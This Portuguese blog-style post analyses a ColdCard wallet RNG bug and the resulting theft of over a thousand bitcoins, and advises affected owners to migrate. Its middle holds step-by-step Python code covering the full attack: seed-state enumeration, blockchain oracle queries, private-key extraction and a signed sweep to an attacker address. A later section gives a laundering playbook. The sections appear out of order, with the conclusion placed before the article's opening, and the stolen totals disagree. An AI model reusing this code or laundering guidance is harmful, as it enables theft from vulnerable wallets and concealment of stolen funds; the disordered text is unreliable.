• Numa GPU que teste 1 milhão de candidatos por segundo (incluindo derivação BIP32 e consulta ao explorer), levaria cerca de 13 dias para varrer tudo. Com 100 GPUs/FPGAs, cai para poucas horas.
• Como o RTC dos Mk2/Mk3 provavelmente começa zerado ou estático no cold boot, conforme a Block aponta, o SysTick sozinho reduz o espaço a ~80 mil valores (~16 bits), tornando a busca trivial em segundos.

Mk4/Q/Mk5 com reseed depende do quanto o fallback é conhecido:

• Se o fallback é conhecido, só restam os 32 bits do secure element: 2^32 ≈ 4,3 bilhões de candidatos por aparelho, ou cerca de 1,2 hora por dispositivo a 1 milhão/s.
• Se o fallback é completamente desconhecido, o espaço sobe para ~2^72, cerca de 4,7 sextilhões de candidatos — inviável por força bruta pura.

Por isso a primeira onda deve ser dominada por Mk3. A segunda onda, mais de um dia depois, pode incluir lotes adicionais do mesmo modelo ou modelos mais difíceis em que o atacante conseguiu perfilar o fallback. Sem identificar o modelo por trás de cada endereço, não dá para afirmar com certeza, mas a ordem de dificuldade está clara.

A velocidade também mostra que o ataque não começou do zero no dia 30 de julho. Para varrer 1,1 trilhão de estados e achar centenas de endereços com saldo, o atacante já tinha infraestrutura pronta ou passou dias ou semanas pré-computando antes de mover os primeiros UTXOs.

O que a chain revela sobre a operação

O site coldcard-hack.up.railway.app analisa em detalhe as três ondas que esvaziaram 1.082,59 BTC em 41 minutos (blocos 960183 a 960191). Embora o site avise que foi compilado por um agente de IA e não revisado por humanos, os dados da blockchain são verificáveis:

Detalhes que saltam aos olhos:

• Ordem por saldo: dentro de cada onda, as transações foram ordenadas do maior para o menor saldo. Isso não é acidente; é uma fila de prioridade configurada no script.
• Formato idêntico: todas as 1.195 sweeps gastam todos os UTXOs de um único endereço de origem para um único output, sem troco. Não há variação manual.
• Taxa uniforme: mediana de 30,136986 sat/vB em todas as ondas — o mesmo script escolhendo a taxa.
• Tipos de endereço: 1.182 eram SegWit nativo (v0_p2wpkh), 7 P2SH-wrapped e 6 legacy. Portanto o ataque não se limitou a BIP84, embora a maioria dos usuários ColdCard use bech32.
• Fundos parados: até o momento em que o site congelou os dados, os ~1.082 BTC ainda estavam nos vaults, sem mixer, sem peel chain, sem movimentação posterior.

Tudo isso aponta para uma única operação automatizada, não para 1.195 roubos independentes.

Como isso passou despercebido

O mesmo coldcard-hack.up.railway.app mapeia os commits que introduziram o bug. Os fatos mais graves:

• O commit que adicionou a guarda #ifndef errada no libngu teve uma mensagem de um caractere, alterou 28 arquivos e não passou por pull request.
• O commit First pass w/ libNgU, que migrou a geração de seeds para o libngu e removeu código GPL, alterou 120 arquivos e também foi empurrado diretamente, sem PR.
• Os dois commits posteriores que adicionaram o reseed de 32 bits e a mistura do secure element até abriram PRs, mas foram mergeados com zero reviews.

Uma mudança crítica no caminho de geração de entropia passou sem revisão end-to-end. O TRNG correto existia no binário; o problema foi que o símbolo errado foi linkado, e ninguém escreveu um teste que provasse de onde a seed realmente vinha.

O passo a passo conceitual do ataque

Antes do código, o fluxo geral:

1. Reproduzir o RNG. O atacante implementa o Yasmarang exatamente como no firmware, incluindo o XOR com o segundo Yasmarang do libNgU.
2. Enumerar estados plausíveis. Para cada combinação de UID, SysTick, RTC e, nos modelos novos, reseed do secure element, ele gera os 32 bytes que a ColdCard teria gerado como entropia.
3. Derivar a wallet. A partir dessa entropia, calcula a mnemonic BIP39, a seed BIP32, e deriva os primeiros endereços de recebimento e troco.
4. Consultar a blockchain. Para cada endereço derivado, pergunta a um explorador ou a um node próprio se existe UTXO.
5. Parar no match. Quando um endereço derivado bate com um endereço que tem saldo, o atacante já tem a chave privada correspondente.
6. Gastar. Com a chave privada, ele monta uma transação que move o UTXO para um endereço que ele controla.

A blockchain é o oráculo. Sem ela, o atacante não saberia qual estado gerou dinheiro real. Com ela, cada UTXO encontrado confirma que ele acertou a chave.

Código de prova de conceito

O script abaixo é didático. Ele não foi otimizado para GPU, não roda em segundos contra 40 bits e não lida com todas as variações de firmware. O que ele faz é tornar o ataque legível, função por função.

1. O PRNG quebrado: Yasmarang

def yasmarang_step(state):
    """state = [pad, n, d, dat]; muta a lista e devolve um uint32."""
    pad, n, d, dat = state

    pad = (pad + dat + d * n) & 0xFFFFFFFF
    pad = ((pad << 3) | (pad >> 29)) & 0xFFFFFFFF
    n = pad | 2
    d = (d ^ ((pad << 31) | (pad >> 1))) & 0xFFFFFFFF
    dat = (dat ^ (pad & 0xFF) ^ ((d >> 8) & 0xFF) ^ 1) & 0xFF

    out = (pad
           ^ ((d << 5) & 0xFFFFFFFF)
           ^ (pad >> 18)
           ^ ((dat << 1) & 0xFFFFFFFF)) & 0xFFFFFFFF

    state[:] = [pad, n, d, dat]
    return out

O que faz: implementa o gerador determinístico que estava no firmware. É a mesma função que qualquer um pode copiar do código fonte do MicroPython.

Exemplo de estado:

>>> s = [0x0A8CE26F, 69, 233, 0]
>>> [hex(yasmarang_step(s)) for _ in range(3)]
['0x12f99f10', '0x1e0841df', '0x8f794c6c']

2. Do estado do RNG para entropia da ColdCard

def coldcard_entropy(uid_low32, systick, rtc_tr, rtc_ssr, reseed=None):
    """
    Simula o que a ColdCard fazia para gerar os 32 bytes de entropia.

    - MicroPython inicializa seu Yasmarang com:
        pad = UID_low32 ^ SysTick->VAL
        n   = RTC->TR
        d   = RTC->SSR
    - libNgU mantém um segundo Yasmarang com constantes públicas.
    - Cada palavra de 32 bits é: chip ^ my_yasmarang().
    - Nos Mk4/Q/Mk5, o reseed altera o 'pad' do estado do libNgU.
    """
    mpy_state = [uid_low32 ^ systick, rtc_tr, rtc_ssr, 0]
    libngu_state = [0x0A8CE26F, 69, 233, 0]

    if reseed is not None:
        # reseed() no firmware só sobrescreve yasmarang_pad
        libngu_state[0] = reseed & 0xFFFFFFFF

    # A ColdCard pode fazer chamadas extras antes de gerar a seed (health
    # check, etc.). Na prática o atacante modela o histórico exato de
    # chamadas. Aqui simplificamos para 8 palavras = 32 bytes.
    words = []
    for _ in range(8):
        chip = yasmarang_step(mpy_state)
        mix = chip ^ yasmarang_step(libngu_state)
        words.append(struct.pack("<I", mix))

    return b"".join(words)

O que faz: monta o estado inicial. O pad do MicroPython é UID_low32 ^ SysTick; n e d vêm do RTC. O libNgU entra com constantes públicas. Cada palavra é o XOR das duas. Esse XOR não cria aleatoriedade: se os dois lados são reproduzíveis, o resultado também é.

Exemplo:

>>> coldcard_entropy(0xDEADBEEF, 12345, 0x123456, 78).hex()
'3013f52faaef2a65c47fee63c83e9773d505bd05e4b2b43f56bb8c60ecc66f66'

3. De entropia para endereço Bitcoin

def first_addresses(entropy_bytes, account=0):
    """
    Dada a entropia bruta, gera a mnemonic BIP39, a seed BIP32 e os
    primeiros endereços SegWit nativos de recebimento e troco.
    """
    mnemonic = mnemonic_from_bytes(entropy_bytes)
    seed = mnemonic_to_seed(mnemonic)
    root = HDKey.from_seed(seed)

    addrs = {"mnemonic": mnemonic}
    for change in [0, 1]:
        for idx in range(5):
            path = f"m/84'/0'/{account}'/{change}/{idx}"
            key = root.derive(path)
            addr = p2wpkh(key.key.get_public_key()).address()
            label = "receive" if change == 0 else "change"
            addrs.setdefault(label, []).append(addr)
    return addrs

O que faz: pega os 32 bytes, transforma em 24 palavras BIP39, calcula a seed, abre a árvore BIP32 e deriva os endereços. Na prática o atacante testa dezenas ou centenas de índices e também outras contas.

Exemplo:

>>> cand = first_addresses(coldcard_entropy(0xDEADBEEF, 12345, 0x123456, 78))
>>> cand["mnemonic"]
'copy panic episode fiction verify cream ball worry glow draft place tray expect teach bleak north reflect wide puzzle boat attract glimpse rural setup'
>>> cand["receive"][0]
'bc1qc3rmdj3ln6n05awxwetg0gz8e2aw0lzyxmaecp'

4. Consultar a blockchain como oráculo

def has_utxo(address):
    """True se o endereço tiver qualquer UTXO no mempool.space."""
    url = f"https://mempool.space/api/address/{address}/utxo"
    try:
        r = requests.get(url, timeout=10)
        r.raise_for_status()
        return len(r.json()) > 0
    except Exception as e:
        print("erro consultando", address, e)
        return False

O que faz: faz a pergunta real. Sem essa consulta, o atacante não saberia se acertou. A blockchain é o oráculo.

Exemplo de não acerto:

>>> has_utxo("bc1qc3rmdj3ln6n05awxwetg0gz8e2aw0lzyxmaecp")
False

O atacante descarta e passa ao próximo candidato.

Exemplo de acerto (o endereço real da vítima bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr, antes do sweep):

[
  {
    "txid": "78ac8968ccf5a586d2fb9509f5af13f41e0a288bfa0f0b177d4e4b6bbebad05d",
    "vout": 0,
    "value": 2989251877,
    "status": {"confirmed": true, "block_height": 960188}
  }
]

Quando has_utxo devolve True, o atacante sabe que a seed que ele acabou de gerar produz aquele endereço — e, portanto, a chave privada correspondente.

5. Enumerar candidatos e caçar

def brute_mk3(uid_low32):
    """
    Exemplo para Mk3/Mk2 v4: varre SysTick e RTC plausíveis.
    Na prática o atacante usa GPUs/FPGAs e restringe o UID pelo serial.
    """
    for systick in range(80_000):
        for rtc_tr in range(0x000000, 0x240000, 0x100):
            for rtc_ssr in range(0, 256):
                yield coldcard_entropy(uid_low32, systick, rtc_tr, rtc_ssr)


def brute_mk4(uid_low32, systick, rtc_tr, rtc_ssr):
    """
    Exemplo para Mk4/Q/Mk5: o fallback é fixado e o atacante enumera
    os 2^32 valores possíveis do reseed do secure element.
    """
    for reseed in range(0x100000000):
        yield coldcard_entropy(uid_low32, systick, rtc_tr, rtc_ssr, reseed)


def hunt(uid_low32, generator):
    for entropy in generator:
        candidate = first_addresses(entropy)
        for addr in candidate["receive"] + candidate["change"]:
            if has_utxo(addr):
                print("ACERTOU!")
                print("  mnemonic:", candidate["mnemonic"])
                print("  endereço :", addr)
                return candidate


# Exemplo didático: use um UID conhecido e um gerador Mk3 reduzido.
# hunt(0xAABBCCDD, brute_mk3(0xAABBCCDD))

O que fazem: brute_mk3 varre estados plausíveis para Mk3; brute_mk4 varre os 2^32 reseeds do secure element; hunt é o loop que gera, deriva e checa. O atacante real não roda em Python; escreve isso em C/CUDA/FPGA e paraleliza por UID. Mas a lógica é idêntica.

Depois de achar a colisão

Quando hunt retorna, o atacante já tem a mnemonic e o endereço com saldo. Com elas, ele obtém a chave privada:

from embit.bip39 import mnemonic_to_seed
from embit.bip32 import HDKey

seed = mnemonic_to_seed(candidate_mnemonic)
root = HDKey.from_seed(seed)
addr_key = root.derive("m/84'/0'/0'/0/0")

print("WIF comprimido:", addr_key.key.wif())
print("Endereço      :", addr_key.address())

Saída típica:

WIF comprimido: L1P8P5vQUoRiNXpDuezfTf3GJtsFBWyJZsvfVs2gxNtxaAXSNhhF
Endereço      : bc1qc3rmdj3ln6n05awxwetg0gz8e2aw0lzyxmaecp

Esse WIF é a chave privada no formato que qualquer wallet entende. A partir daqui o atacante pode:

1. Importar a seed ou o WIF no Sparrow, Electrum ou outra wallet.
2. Rescanar a blockchain para ver todos os UTXOs daquela seed.
3. Montar uma transação mandando os fundos para um endereço que ele controla.
4. Assinar e transmitir.

Exemplo concreto de sweep

No caso real, o atacante varreu o UTXO de 29.89251877 BTC do endereço bc1qe85jr... para o endereço de consolidação. O que ele precisava produzir era uma transação assinada. O esqueleto, com valores didáticos e um input fictício, fica assim:

from bitcoinlib.transactions import Transaction
from bitcoinlib.keys import HDKey

# chave recuperada a partir da seed colidida
key = HDKey.from_seed(candidate_mnemonic).derive("m/84'/0'/0'/0/0")

input_value  = 2_989_251_877      # 29.89251877 BTC, em satoshis
fee          = 7_380              # taxa em satoshis
output_value = input_value - fee  # o que sobra para o atacante

tx = Transaction(network='bitcoin', fee=fee, witness_type='segwit')
tx.add_input(
    'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',  # txid do UTXO da vítima
    0,
    keys=key,
    value=input_value,
    locking_script=bytes.fromhex('0014') + key.hash160,
    script_type='sig_pubkey',
    address=key.address()
)
tx.add_output(output_value, 'bc1qqdcszapk2yjrw0esf4t0etnlpjs5krsk5e99ru')  # endereço do atacante
tx.sign()

print(tx.raw_hex())

Uma transação assinada válida tem esse formato (hex truncado):

01000000000101aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa0000000000ffffffff...

O atacante transmite esse hex para qualquer node Bitcoin (mempool.space, seu próprio node, Electrum, etc.). O protocolo não pergunta de onde veio a chave; só verifica se a assinatura satisfaz o script. Se a assinatura for válida, a rede inclui a transação no próximo bloco e o UTXO muda de dono.

No ataque real, isso foi feito 1.195 vezes em 41 minutos, todos com o mesmo script, a mesma taxa e a mesma lógica de ordenação por saldo.

O que essa classe de bugs significa

Esse não é um ataque à curva elíptica, ao SHA-256, ao BIP39 ou ao Bitcoin. É um ataque à entropia. O fabricante reduziu o espaço de chaves e o protocolo simplesmente aceitou as assinaturas que saíram daquele espaço menor.

Três lições:

1. Não confie na aparência de aleatoriedade. O output do Yasmarang passa por testes estatísticos simples e parece aleatório. Mas se o estado inicial é previsível, toda a sequência é previsível.
2. Hash não cria entropia. Passar 40 bits de entrada por SHA-256 duas vezes gera um hash bonito e uniforme, mas ainda existem no máximo 2^40 hashes possíveis. O atacante enumera as entradas, não os hashes.
3. A blockchain é pública e permanente. Uma wallet vulnerável pode ficar anos quieta até alguém ligar os pontos. No dia em que o ataque é publicado, todos os UTXOs daquele espaço de chaves viram alvos.

Dá para pegar o criminoso?

Uma pergunta que aparece toda vez que um roubo de criptomoedas ganha escala é: “será que dá para rastrear quem fez isso?”. A resposta curta é: talvez, mas não é trivial, e rastrear não é o mesmo que recuperar os bitcoins.

Clay Garrett, que está entre as pessoas investigando o caso, publicou uma thread no X alegando que a equipe dele identificou um padrão de varredura incomum. Segundo a thread, o operador do ataque teria usado uma conta paga de um provedor de serviços blockchain bem conhecido para consultar os endereços-fonte e a atividade relacionada durante os sweeps. Os logs do provedor teriam correspondido, com “especificidade extraordinária”, ao número, ao timing e à sequência das requisições. O provedor, segundo Garrett, estava apenas fornecendo serviços normais; as requisições em si não revelavam para que serviam.

O que isso significa, se for confirmado:

• Um provedor de serviços blockchain tipicamente exige conta, e muitas vezes pagamento. Isso pode deixar rastros: e-mail, método de pagamento, endereço IP, horários de acesso, padrão de uso da API.
• Se a conta passou por KYC, a probabilidade de identificar uma pessoa sobe muito. Se o pagamento foi feito com criptomoeda, voucher anônimo ou cartão de terceiros, o vínculo se torna fraco.
• Mesmo com um IP ou e-mail, o operador pode ter usado VPN, Tor, computação em nuvem descartável ou identidade roubada. Cada camada adicional reduz a chance de chegar até a pessoa real.
• Os fundos, até onde se sabe, ainda não foram movidos para mixers ou trocas. Enquanto estiverem parados, existe uma janela para congelamento ou recuperação judicial. Assim que forem trocados, misturados ou convertidos em fiat off-shore, a recuperação do ativo fica drasticamente mais difícil.

Ou seja: a thread aponta para uma linha de investigação promissora, mas é uma alegação em andamento, não uma prova concluída. Capturar o operador depende de como ele se expôs nos serviços terceirizados, da qualidade dos logs, da jurisdição e da velocidade das autoridades. Recuperar os bitcoins depende de onde as moedas estiverem quando isso acontecer. As duas coisas estão relacionadas, mas não são a mesma coisa.

O que o atacante ainda não fez

Até agora, a operação foi tecnicamente competente no ataque, mas amadora na fuga. Os ~1.128 BTC roubados estão parados em endereços de consolidação conhecidos, sem mixer, sem coinjoin, sem movimentação posterior. Isso é incomum para um roubo dessa magnitude e merece atenção, porque define o que ainda é recuperável.

O que seria um mixer, e por que ele não foi usado

Um mixer (ou tumbler) é um serviço que recebe bitcoins de várias pessoas, embaralha os valores em uma única transação ou série de transações e devolve bitcoins equivalentes em endereços novos. A ideia é quebrar a cadeia pública de “de onde veio”.

O modelo clássico é o CoinJoin: vários participantes assinam juntos uma transação com muitos inputs e muitos outputs do mesmo tamanho. Observador externo vê que o dinheiro entrou, mas não consegue dizer qual output pertence a quem. Ferramentas como Wasabi Wallet e Samourai Wallet implementam CoinJoin de forma automatizada. O Samourai chegou a oferecer o serviço Whirlpool, onde os UTXOs passam por rodadas de remixagem que dificultam ainda mais o rastreamento.

Outro modelo é o mixer centralizado, em que você envia bitcoins para um endereço do serviço e recebe de volta de um pool diferente, menos uma taxa. Historicamente serviços como Bitcoin Fog e Helix funcionavam assim. A diferença para o CoinJoin é que você precisa confiar no operador do mixer — e vários desses operadores foram presos exatamente porque os investigadores conseguiram ligar os depósitos aos saques.

No caso do roubo da ColdCard, nenhuma dessas técnicas apareceu ainda. Os bitcoins saíram das wallets das vítimas, foram parar em três grandes clusters e, de lá, não se moveram. Isso pode significar várias coisas:

1. O atacante ainda está decolando. Roubar 1.128 BTC em 41 minutos é uma coisa; lavar 1.128 BTC sem deixar rastros é outra. Configurar uma pipeline de anonimização leva tempo, custa dinheiro e exige contas pré-estabelecidas.
2. O atacante não esperava tanta visibilidade. Quando a imprensa e os analistas de blockchain começam a acompanhar endereços em tempo real, qualquer movimentação imediata vira notícia. Parar os fundos é uma forma de esperar o burburinho baixar.
3. O atacante pode estar negociando uma recuperação. Não é raro que grandes roubos terminem em acordo, com parte dos fundos devolvida em troca de anonimato do ladrão.

Como se esconde normalmente uma quantia dessas

Se o operador quiser realmente dificultar o rastreamento, o playbook padrão envolve várias camadas:

1. CoinJoin em rodadas. O atacante divide os fundos em valores padronizados e passa por múltiplas rodadas de CoinJoin. Depois de algumas rodadas, o grafo deixa de ser uma árvore e vira uma teia, dificultando a atribuição.
2. Peel chain. Em vez de mandar tudo de uma vez, ele vai transferindo pequenas fatias por dezenas ou centenas de endereços intermediários, como descascar uma cebola. Cada endereço envia a maior parte para o próximo e uma pequena fração para um destino final.
3. Trocas instantâneas e bridges. Trocar Bitcoin por Monero em uma exchange descentralizada ou bridge é um caminho comum: Monero oculta remetente, destinatário e valor. Depois de algumas transações em Monero, o atacante pode trocar de volta para Bitcoin em novos endereços.
4. Exchanges com KYC fraco ou nenhum. Depositar em corretoras que não exigem identificação, ou que aceitam contas de terceiros, permite converter em stablecoins, fiat ou outras criptomoedas. Mesmo com KYC, contas compradas ou de laranjas ajudam a criar distância.
5. Fiat off-shore. O estágio final é transformar o ativo em dinheiro real fora das jurisdições que cooperam com investigações. Casas de câmbio não reguladas, caixas eletrônicos de Bitcoin, cartões pré-pagos e contas em paraísos fiscais entram aqui.

Cada uma dessas camadas não torna o rastreamento impossível, mas aumenta o custo. Uma investigação bem financiada ainda pode seguir pistas: taxas pagas por uma exchange, padrões de timing, endereços de troco, correspondência de valores. O problema é que, quanto mais camadas, mais tempo leva — e quanto mais tempo, menor a chance de congelar os fundos antes que sejam gastos.

Por que isso importa agora

O fato de os bitcoins ainda estarem nos endereços de consolidação significa que a janela de recuperação ainda está aberta, em teoria. Autoridades e investigadores privados podem monitorar esses endereços, pedir congelamento em exchanges e pressionar provedores de serviços blockchain. Se o atacante enviar qualquer satoshi para um mixer conhecido, o alerta dispara.

Mas essa janela se fecha assim que os fundos entrarem em um pipeline de anonimização. Depois de um CoinJoin bem feito, de uma troca por Monero e de uma rede de peel chains, a pergunta deixa de ser “onde está o dinheiro?” e passa a ser “quem conseguimos prender?”. Recuperar o ativo se torna tecnicamente inviável para a maioria das vítimas.

Ou seja, o atacante já venceu a primeira batalha — encontrar e roubar as chaves. A segunda batalha, de sair com o dinheiro de forma anônima, é a que normalmente separa ladrões de grandes carteiras de ladrões que acabam presos.

Conclusão

Se você ainda tem fundos em uma seed gerada por firmware ColdCard vulnerável, o risco não é teórico. A blockchain já mostra centenas de endereços sendo esvaziados por alguém que reproduziu o RNG defeituoso.

A ColdCard não guarda seus bitcoins. Ela guardava a chave. A chave nasceu fraca. Quem tem uma cópia da mesma chave — obtida enumerando estados de um PRNG — pode assinar transações do seu lado, sem nunca ter tocado no aparelho.

A única defesa é mover os fundos para uma seed nova, gerada por firmware corrigido ou, melhor ainda, por um processo que combine fontes independentes de entropia (dados casino-grade, TRNG de outro fabricante, host offline). E testar a restauração antes de enviar valor relevante.

Não confie em empresa, certificação, influencer ou artigo. Nem neste aqui. Verifique.

Não estou exagerando pra fazer título caça-clique. Em 29 de julho apareceram transações varrendo wallets de usuários. Um dos endereços de consolidação recebeu 594,47723261 BTC em 501 outputs. Isso é dado público na blockchain, não screenshot de Telegram. A edição 416 do Bitcoin Optech, publicada enquanto o caso ainda se desenrolava, já estimava perdas acima de 1.000 BTC.

O número exato ainda vai mudar. O cluster de 594 BTC é diretamente observável; atribuir cada input à mesma vulnerabilidade e fechar o total global exige análise adicional. Mas a combinação de relatos de vítimas, padrão do sweep, reprodução do bug e admissão da própria Coinkite é forte o bastante. Esperar um relatório forense bonito enquanto uma seed vulnerável continua recebendo fundos é uma péssima estratégia.

Também não entre em pânico e digite suas 24 palavras no primeiro site que promete “verificar ColdCard”. Isso é a outra forma, bem mais fácil, de perder tudo. Seed nunca entra em website, chat, extensão de browser ou computador online. Primeiro entenda se foi afetado. Depois migre com calma, conferindo endereço na tela de um signer confiável.

Quem precisa agir agora

A vulnerabilidade está na geração da seed. O que importa é o modelo e o firmware usados no dia em que aquelas palavras foram criadas, não o firmware instalado hoje nem onde você importou a seed depois.

Na prática: se você tem qualquer ColdCard, mova os fundos pra uma wallet derivada de uma seed completamente nova. Melhor pecar pelo excesso de cuidado. As faixas abaixo dizem onde o bug já foi confirmado; não são motivo pra apostar a poupança da sua vida na hipótese de que todo o resto está perfeito. Atualizar o aparelho não conserta a seed antiga.

Segundo o advisory da Coinkite e a análise independente da Block, trate como comprometida qualquer seed gerada nestas condições:

A Block inclui Mk2 com firmware 4.x na mesma regressão do Mk3 e começa a faixa vulnerável dos dois no 4.0.0. A Coinkite concentrou o advisory no Mk3, a partir do 4.0.1, e nos modelos atuais. Eu trataria toda a linha 4.x até 4.1.9 como comprometida nos dois. Se você tem Mk2, não use a ausência dele no título do comunicado como conforto.

Há uma exceção importante: quem acrescentou pelo menos 50 jogadas justas, independentes e privadas de um dado durante a criação original preservou, em tese, no mínimo 128 bits vindos de fora. A própria Coinkite diz que essas seeds não estão em risco por este bug isoladamente. Se você não lembra exatamente quantas jogadas fez, qual fluxo usou ou se aqueles resultados continuaram privados, assuma que não fez.

Seed importada de outro gerador também não nasceu desse RNG defeituoso. Ela pode ter outros problemas, claro, mas não este. E atualizar firmware agora não volta no tempo pra reparar palavra nenhuma. Você precisa criar uma seed nova e transferir os UTXOs pra endereços derivados dela.

Restaurar as mesmas 24 palavras numa Trezor, Ledger, SeedSigner ou qualquer outro aparelho NÃO é uma migração. Você continua em perigo. O hardware mudou; a raiz e todo o universo de private keys derivadas continuam os mesmos. Outro derivation path pode até mostrar endereços diferentes, mas não acrescenta entropia. Se a ColdCard gerou aquela wallet com o RNG fraco, importar a seed em outro signer apenas ensina o aparelho novo a reproduzir as mesmas chaves vulneráveis. Crie uma wallet completamente nova, com entropia nova, e faça uma transação on-chain movendo os fundos da wallet antiga pra endereços da nova.

Eu faria isso mesmo tendo uma passphrase forte. A passphrase pode ter colocado uma barreira independente na frente do atacante, mas a própria Coinkite recomenda migrar. Depois de uma falha desta proporção, ficar calculando o mínimo teórico aceitável de risco é economizar no lugar errado.

O bug: #ifndef não significa “se for verdadeiro”

O post-mortem técnico da Coinkite é uma leitura constrangedora.

Em março de 2021, o firmware trocou ckcc.rng_bytes() por ngu.random.bytes() durante a migração pro libNgU e pro libsecp256k1 usado pelo Bitcoin Core. A escolha da biblioteca criptográfica era boa. A integração foi desastrosa.

O código de build definia:

#define MICROPY_HW_ENABLE_RNG (0)

Só que a guarda no libNgU verificava isto:

#ifndef MICROPY_HW_ENABLE_RNG
#error "get a HW TRNG plz"
#endif

#ifndef pergunta se o símbolo existe, não se o valor dele é diferente de zero. O símbolo existia. O build passou. Na resolução final, rng_get() apontou pro fallback de software do MicroPython, um PRNG determinístico chamado Yasmarang, inicializado com UID do microcontrolador e registradores de tempo. UID identifica chip. Relógio mede tempo. Nenhum dos dois é uma fonte criptográfica de aleatoriedade.

Pior: a implementação correta do TRNG estava dentro do binário. Reviews anteriores olharam pra ela e concluíram que estava tudo certo, mas ninguém verificou o caminho completo entre “gerar nova wallet” e o símbolo que de fato era chamado no executável. Não havia teste de integração que falhasse quando a seed saísse do gerador errado.

No Mk3, a estimativa preliminar da Coinkite é de cerca de 40 bits de entropia efetiva, em vez dos 128 bits mínimos esperados. Nos Mk4, Q e Mk5, valores dos secure elements entravam como uma segunda camada, e a empresa estima aproximadamente 72 bits. A análise da Block é ainda mais dura: apenas 32 bits do material dos secure elements chegavam ao estado do PRNG naquele reseed. Os modelos de ameaça e as estimativas não são idênticos. Nenhum deles chega perto do alvo.

Passar a saída ruim por SHA-256 não cria entropia. Se existem apenas 2^40 entradas possíveis, no máximo existirão 2^40 hashes possíveis. Eles ficam bonitos, uniformes e continuam enumeráveis.

Isso ficou no caminho mais importante do produto por mais de cinco anos.

Como uma reescrita de 120 arquivos chegou aqui

O Zach Herbert publicou uma timeline que vale resumir. Ele é cofundador da Foundation, fabricante da Passport e concorrente da Coinkite, portanto leia a interpretação com esse contexto. As datas e commits, porém, são verificáveis.

Em julho de 2020, a Foundation anunciou que sua primeira Passport aproveitaria o firmware GPLv3 da ColdCard. Dois dias depois, NVK reclamou publicamente do “clone” e disse que mudaria a licença. Em novembro, a ColdCard adicionou MIT mais Commons Clause, que deixava o código visível mas restringia produtos comerciais derivados. Em janeiro de 2021, a mudança apareceu formalmente no firmware 3.2.1.

No dia 1 de março veio o commit First pass w/ libNgU: 120 arquivos alterados, remoção de bibliotecas derivadas da Trezor sob GPL, troca da stack criptográfica e mudança do código que gerava seeds. Em 17 de março, a versão 4.0.0 anunciou a remoção do último código GPL.

Não dá pra provar quanto da pressa ou do escopo veio da disputa de licença. A própria timeline reconhece outros objetivos legítimos: adotar libsecp256k1, acelerar AES/SHA e permitir builds reproduzíveis. O fato concreto é mais simples: o bug entrou no mesmo commit gigantesco e o produto passou cinco anos sem um teste end-to-end do seu caminho mais crítico.

Isso é incompetência de engenharia. Um hardware wallet pode ter secure element, embalagem lacrada, air gap e site cheio de explicações sobre soberania. Se a função que gera a chave chama o RNG errado e ninguém testa isso por cinco anos, o resto virou cenário.

Isso foi cisne branco, não cisne negro

Já vi gente chamando o caso de “black swan”, como se uma conjunção cósmica de eventos imprevisíveis tivesse acertado a Coinkite. Não foi.

O código vulnerável estava visível no repositório desde março de 2021. O commit era enorme, mas não secreto. O fallback determinístico estava num submodule público. A macro definida como zero estava no board config. O #ifndef errado estava na integração. Faltava seguir a chamada de geração da seed até o símbolo resolvido no binário e escrever um teste que provasse de onde vinha a entropia.

Um black swan é raro, surpreendente e só parece óbvio depois. Este era um white swan: risco conhecido na categoria mais sensível do produto, com causa observável e consequência previsível. Ninguém sabia o dia exato em que alguém ligaria os pontos e varreria as wallets. A bomba, porém, estava montada e fazendo tic-tac em público por cinco anos.

E a Coinkite ajudou a reduzir o número de pessoas dispostas a desarmá-la.

Em 2021, Marko Bencun, da Shift/BitBox, e Hugo Nguyen, da Nunchuk, reportaram responsavelmente uma falha crítica de multisig. A Coinkite corrigiu o código, mas as release notes não avisaram que era vulnerabilidade nem comunicaram urgência. O pedido de bounty de Bencun foi ignorado. A empresa só publicou um alerta mais explícito depois que o pesquisador publicou os detalhes.

A política atual de responsible disclosure continua deixando valor, elegibilidade e prazo a critério da empresa. Pesquisadores de concorrentes ou laboratórios bem financiados não recebem bounty. O texto ainda solta um “we are not here to make it easy for you”, como se antagonizar quem audita seu cofre fosse uma demonstração de personalidade.

Zach Herbert também documentou ataques públicos de NVK contra a Foundation depois que ela usou código GPL da ColdCard: “pure clone”, “leeches” e “affinity scamming”. Herbert é concorrente e tem interesse na disputa, mas os posts e screenshots existem. Minha opinião sobre NVK como CEO ficou péssima. Ele cultivou uma postura hostil justamente com fabricantes e pesquisadores que tinham conhecimento e incentivo técnico pra revisar o produto.

Não preciso afirmar que todo pesquisador abandonou a Coinkite. Basta olhar os incentivos. White hat competente pode passar semanas desmontando firmware. Se a empresa minimiza achado, ignora bounty, trata concorrente como inimigo e reserva pra si a decisão de quando algo merece crédito, esse pesquisador trabalha em outro produto. Código aberto permite auditoria; não obriga ninguém a oferecer auditoria de graça pra quem o trata mal.

Portanto não foi azar de uma chance em um bilhão. Foi profecia autorrealizável. A negligência extrema acumulou risco até alguém explorar. Quando explodiu, não apagou número numa planilha da Coinkite. Levou bitcoins reais que, para algumas vítimas, eram anos de economia ou a poupança de uma vida.

Não, “IA quebrou o Bitcoin” coisa nenhuma

A Coinkite escreveu que, como o firmware era público, “temos que assumir” que alguém usou IA pra revisar versões antigas e encontrou o bug. Não apresentou evidência. No parágrafo seguinte admite que, semanas antes, usou um dos melhores modelos disponíveis pra revisar o mesmo código e ele não achou nada sério.

Depois, NVK publicou um pedido de desculpas em nome da Coinkite. Assumiu responsabilidade pelo bug, pediu que todo dono de ColdCard movesse os fundos, reconheceu que firmware novo não conserta seed antiga e disse que a confiança dos usuários terá que ser reconquistada. É o mínimo, mas é importante que tenha dito.

O problema é que ele terminou tentando transformar o desastre numa “realidade sóbria do novo paradigma de IA”, porque revisão assistida por IA agora encontraria bugs antigos mais rápido que especialistas. Não. Isso não tem porra nenhuma a ver com IA. O bug é básico, estava visível no código havia cinco anos e atingia a função mais importante de uma hardware wallet. NVK teve sorte de demorar tanto.

Não desloque a culpa pra AI-assisted code review pra justificar código porco. IA pode ter ajudado alguém a localizar ou explorar a falha. IA não escreveu aquele #ifndef, não desligou o TRNG, não aprovou o rewrite de 120 arquivos e não passou cinco anos sem um teste end-to-end de geração de seed. Tudo isso foi responsabilidade da Coinkite.

